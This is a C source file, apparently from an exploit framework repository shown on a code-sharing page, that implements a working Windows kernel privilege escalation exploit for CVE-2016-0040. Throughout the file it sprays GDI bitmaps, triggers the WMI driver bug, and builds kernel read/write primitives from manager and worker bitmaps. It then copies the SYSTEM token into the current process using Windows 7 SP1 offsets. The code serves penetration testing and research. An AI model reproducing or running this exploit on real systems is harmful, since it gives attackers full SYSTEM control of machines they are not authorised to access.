Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-0040/Library/Library.c
Views: 11784
#include <windows.h>1#include <Psapi.h>2#include <process.h>3#include <stdio.h>45#include "Library.h"67#ifdef _DEBUG8#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)9#else10#define LOG11#endif //_DEBUG1213#define BITS_PER_BYTE 81415#define TRIGGER_VULNERABILITY_RETRIES 10241617#define WMI_RECEIVE_NOTIFICATIONS_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)1819#define WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD 220#define WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT 202122#define BITMAP_SIZE (BITMAP_WIDTH * BITMAP_HEIGHT * (BITMAP_BIT_COUNT / BITS_PER_BYTE))23#define BITMAP_WIDTH 0x6424#define BITMAP_HEIGHT 0x6425#define BITMAP_PLANES 126#define BITMAP_BIT_COUNT 322728#define BITMAP_COUNT 409629#define BITMAP_MANAGER_INDEX 204830#define BITMAP_WORKER_INDEX 30723132#define IMAGE_BASE_LIST_SIZE 0x100033#define IMAGE_BASE_KERNEL_INDEX 03435#define PAGE_FRAME_NUMBER_COUNT 10243637#define BITMAP_STRUCTURE_CHECK_OFFSET 0x4838#define BITMAP_STRUCTURE_PVSCAN0_OFFSET 0x5039#define BITMAP_STRUCTURE_CORRUPTION_OFFSET 0x8040#define BITMAP_STRUCTURE_CORRUPTION_VALUE_0 0x100000000000641#define BITMAP_STRUCTURE_CORRUPTION_VALUE_1 0x2384243#define RETURN_BUFFER_SIZE 10004445typedef enum _PROCESSINFOCLASS {46ProcessBasicInformation = 047} PROCESSINFOCLASS;4849typedef struct _PEB {50BYTE unk[0xf8];51VOID *GdiSharedHandleTable;52} PEB, *PPEB;5354typedef struct _PROCESS_BASIC_INFORMATION {55PVOID Reserved1;56PPEB PebBaseAddress;57PVOID Reserved2[2];58ULONG_PTR UniqueProcessId;59PVOID Reserved3;60} PROCESS_BASIC_INFORMATION;6162typedef struct _WMI_RECEIVE_NOTIFICATION {63ULONG HandleCount;64ULONG Action;65HANDLE UserModeCallback;66HANDLE UserModeProcess;67HANDLE Handles[WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT];68} WMI_RECEIVE_NOTIFICATION, *PWMI_RECEIVE_NOTIFICATION;6970#pragma pack(push, 1)71typedef struct _GDICELL64 {72PVOID pKernelAddress;73USHORT wProcessId;74USHORT wCount;75USHORT wUpper;76USHORT wType;77PVOID pUserAddress;78} GDICELL64;79#pragma pack(pop)8081typedef struct EPROCESS_OFFSETS {82DWORD UniqueProcessId;83DWORD Token;84} EPROCESS_OFFSETS, *PEPROCESS_OFFSETS;8586static PPEB GetCurrentPeb(VOID) {8788NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);89PROCESS_BASIC_INFORMATION ProcessInformation;90ULONG ReturnLength;91HMODULE library;9293library = LoadLibrary("ntdll.dll");9495if (library == NULL) { return NULL; }9697ZwQueryInformationProcess = (VOID *)GetProcAddress(library, "ZwQueryInformationProcess");9899if (ZwQueryInformationProcess == NULL) { return NULL; }100101if (ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &ReturnLength) != 0) {102return NULL;103}104105return ProcessInformation.PebBaseAddress;106}107108static BOOLEAN SetupBitmapManagerAndWorker(HBITMAP *hManager, HBITMAP *hWorker) {109110BYTE bitmap[BITMAP_SIZE];111HBITMAP bitmaps[BITMAP_COUNT];112INT i;113114memset(bitmap, 'a', BITMAP_SIZE);115116for (i = 0; i < BITMAP_COUNT; i++) {117bitmaps[i] = CreateBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, BITMAP_PLANES, BITMAP_BIT_COUNT, &bitmap);118119if (bitmaps[i] == NULL) {120LOG("[-] Unable To Create The Required Bitmaps\n");121return FALSE;122}123124GetBitmapBits(bitmaps[i], BITMAP_SIZE, &bitmap);125}126127*hManager = bitmaps[BITMAP_MANAGER_INDEX];128*hWorker = bitmaps[BITMAP_WORKER_INDEX];129130return TRUE;131}132133static PVOID GetBitmapKernelAddress(PPEB peb, HBITMAP handle) {134135GDICELL64 *cells;136WORD index;137138index = LOWORD(handle);139140cells = (GDICELL64 *)(peb->GdiSharedHandleTable);141142return cells[index].pKernelAddress;143}144145static BOOLEAN WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID dest, PVOID src, DWORD len) {146147if (SetBitmapBits(hManager, sizeof(PVOID), &dest) == 0) {148LOG("[-] Unable To Set Destination Address: 0x%p\n", dest);149return FALSE;150}151152return SetBitmapBits(hWorker, len, src) ? TRUE : FALSE;153}154155static LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {156157if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {158LOG("[-] Unable To Set Source Address: 0x%p\n", src);159return FALSE;160}161162return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;163}164165static PVOID GetNtOsKrnl(VOID) {166PVOID ImageBases[IMAGE_BASE_LIST_SIZE];167DWORD needed = 0;168169if (EnumDeviceDrivers((LPVOID *)&ImageBases, sizeof(ImageBases), &needed) == 0) {170LOG("[-] Unable To Enumerate Device Drivers: %d\n", needed);171return NULL;172}173174return ImageBases[IMAGE_BASE_KERNEL_INDEX];175}176177static PVOID GetPsInitialSystemProcess(HBITMAP hManager, HBITMAP hWorker) {178179HMODULE loaded;180PVOID address;181PVOID runtime;182183loaded = LoadLibrary("ntoskrnl.exe");184185if (loaded == NULL) {186LOG("[-] Unable To Load NtOsKrnl.exe\n");187return NULL;188}189190address = GetProcAddress(loaded, "PsInitialSystemProcess");191192if (address == NULL) {193LOG("[-] Unable To Get PsInitialSystemProcess\n");194return NULL;195}196197FreeLibrary(loaded);198199runtime = GetNtOsKrnl();200201if (runtime == NULL) {202LOG("[+] Unable To Get NtOsKrnl Runtime Address\n");203return NULL;204}205206if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)address - (ULONG64)loaded + (ULONG64)runtime), &address, sizeof(PVOID)) == FALSE) {207LOG("[-] Unable To Read PsInitialSystemProcess Address\n");208return NULL;209}210211return address;212}213214static PVOID GetPsGetCurrentProcess(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) {215216PVOID systemProcess;217LIST_ENTRY ActiveProcessLinks;218ULONG64 UniqueProcessId;219PVOID currentProcess;220221systemProcess = GetPsInitialSystemProcess(hManager, hWorker);222223if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)) == FALSE) {224LOG("[-] Unable To Read Initial System Process ActiveProcessLinks\n");225return NULL;226}227228do {229currentProcess = (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64));230231ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId), &UniqueProcessId, sizeof(ULONG64));232233if (GetCurrentProcessId() == UniqueProcessId) { return currentProcess; }234235ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY));236237} while (currentProcess != (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64)));238239LOG("[-] Unable To Locate The Current Process In The List\n");240241return NULL;242}243244static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWorker) {245246PVOID pageFrameNumbers[PAGE_FRAME_NUMBER_COUNT];247WMI_RECEIVE_NOTIFICATION notification;248PVOID hManagerAddress, hWorkerAddress;249BYTE ReturnBuffer[RETURN_BUFFER_SIZE];250DWORD ReturnSize;251HANDLE hDriver;252PVOID address;253INT i;254255NTSTATUS NtMapUserPhysicalPages(PVOID BaseAddress, ULONG NumberOfPages, PVOID *PageFrameNumbers);256257258if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) {259LOG("[-] Unable To Setup Manager And Worker Bitmaps\n");260return FALSE;261}262263hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager);264hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker);265266LOG("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n");267268for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)¬ification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; }269270notification.HandleCount = 0;271notification.Action = WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD;272notification.UserModeProcess = GetCurrentProcess();273274for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; }275276LOG("[%%] pPeb: 0x%p\n", pPeb);277LOG("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker);278LOG("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress);279280hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);281if (hDriver == INVALID_HANDLE_VALUE) {282LOG("[-] Unable To Open The WMIDataDevice\n");283return FALSE;284}285286i = 0;287do {288Sleep(0);289290NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers);291292if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, ¬ification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) {293LOG("[-] Device IO Control Returned Failure\n");294return FALSE;295}296297GetBitmapBits(*hManager, sizeof(PVOID), &address);298} while ((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (++i < TRIGGER_VULNERABILITY_RETRIES));299300301if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) {302LOG("[-] Unable To Trigger The Vulnerability\n");303return FALSE;304}305306LOG("[+] Self-Referencing Pointer Placement Complete\n");307308pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1);309pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET);310SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers);311312LOG("[+] Stage 1 Cleanup Complete\n");313LOG("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n");314315pageFrameNumbers[0] = NULL;316WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID));317318LOG("[+] Stage 2 Cleanup Complete\n");319320return TRUE;321}322323static BOOLEAN TriggerPrivilegeEscalation(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) {324325PVOID systemProcess;326PVOID currentProcess;327PVOID systemToken;328329systemProcess = GetPsInitialSystemProcess(hManager, hWorker);330331if (systemProcess == NULL) {332LOG("[-] Unable To Get The System Process\n");333return FALSE;334}335336currentProcess = GetPsGetCurrentProcess(hManager, hWorker, offsets);337338if (currentProcess == NULL) {339LOG("[-] Unable To Get The Current Process\n");340return FALSE;341}342343LOG("[%%] SystemProcess: 0x%p, CurrentProcess: 0x%p\n", systemProcess, currentProcess);344345if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) {346LOG("[-] Unable To Get The System Process Token\n");347return FALSE;348}349350LOG("[%%] SystemToken: 0x%p\n", systemToken);351352if (WriteMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) {353LOG("[-] Unable To Set The Current Process Token\n");354return FALSE;355}356357LOG("[+] System Process Token Stolen\n");358359return TRUE;360}361362BOOLEAN TriggerExploit(VOID) {363364PPEB pPeb;365HBITMAP hManager, hWorker;366EPROCESS_OFFSETS win7SP1Offsets = { 0x180, 0x208 };367368LOG("\n");369370pPeb = GetCurrentPeb();371372if (pPeb == NULL) {373LOG("[-] Unable To Get The Current PEB\n");374return FALSE;375}376377if (TriggerVulnerability(pPeb, &hManager, &hWorker) == FALSE) {378LOG("[-] Unable To Trigger Vulnerability\n");379return FALSE;380}381382LOG("[+] Vulnerability Triggered\n");383384LOG("[+] Bitmap Read/Write Primitives Now Available\n");385386if (TriggerPrivilegeEscalation(hManager, hWorker, &win7SP1Offsets) == FALSE) {387LOG("[-] Unable To Trigger Exploit\n");388return FALSE;389}390391LOG("[+] Privilege Escalation Triggered\n\n");392393return TRUE;394}395396397